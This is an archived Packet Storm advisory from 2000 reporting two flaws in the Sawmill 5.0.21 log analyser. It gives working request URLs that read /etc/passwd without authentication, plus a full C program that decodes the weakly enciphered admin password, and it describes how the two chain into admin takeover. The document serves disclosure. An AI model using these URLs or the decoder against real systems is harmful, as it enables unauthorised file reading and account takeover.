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sawmill-5.0.21.txt

sawmill-5.0.21.txt
Posted Jun 29, 2000
Authored by Larry W. Cashdollar | Site vapid.betteros.org

Sawmill 5.0.21 is a site log statistics package for UNIX, Windows and MacOS which has remote vulnerabilities. Any file on the system can be read, and password is stored with a weak hash algorithm and can be decrypted using the included C program. This is dangerous because the previous security hole will allow you to read the hash and decrypt the admin password.

tags | exploit, remote, vulnerability
systems | windows, unix
SHA-256 | 2c2c58f021857e688f36ad471178bf0306d758fc5829abf90f77a22c58174057

sawmill-5.0.21.txt

Change Mirror Download
Version: Sawmill 5.0.21 
Vendor: Notified. Link: http://www.flowerfire.com/sawmill

lwc@vapid.betteros.org
http://vapid.betteros.org


SawMill is a site log statistics package for UNIX, Windows and MacOS. I
have been evaluating it under Linux.

In my test configuration I have sawmill listening on port 8987 of my
webserver. I noticed two things.

Dangerous.

1) You can get sawmill to read you the first line of any (if run as
nobody) world readable files without needing to authenticate first.

The following will print the first line of /etc/passwd:

http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3

You can imagine how much more fun this would be if it was launched as
root. Which it should not and does not need to be.


Sawmill can also be run as a cgi script. This method is vulnerable as
well. The following will print the first line of the password file

http://www.example.com/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1


more danger.

2) The password is stored with a weak hash algorithm and can be decrypted
using the attached C program. This is dangerous because the previous
security hole will allow you to read the first line of the
sawmill/SawmillInfo/SawmillPassword decrypt the password and access the
site statistics, reconfigure sawmill. Along with the ability to browse
the remote machines drive contents. If this is being run as root then
the attacker can specify root readonly files as log files and read most if
not all of their contents.


file info: sawmill5.0.21trial_x86_linux.tar.gz

I have notified the vendor and they were very responsive and are currently
working on a fix.


<----------------------------decrypt.c------------------------>

/*
Decrypt password for Sawmill admin account.
Larry W. Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage ./decrypt cyphertext
*/

#include <stdio.h>

char *alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~<>?:\"{}|";
char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";

int
main (int argc, char **argv)
{

int x, y;
char cypher[128];

strncpy (cypher, argv[1], 128);

for (x = 0; x < strlen (cypher); x++)
{

for (y = 0; y < strlen (encode); y++)
if (cypher[x] == encode[y])
printf ("%c", alpha[y]);
}
printf("\n");
printf("\n\"+\" could also be a space [ ]\n");
return(0);
}

<----------------------------decrypt.c------------------------>



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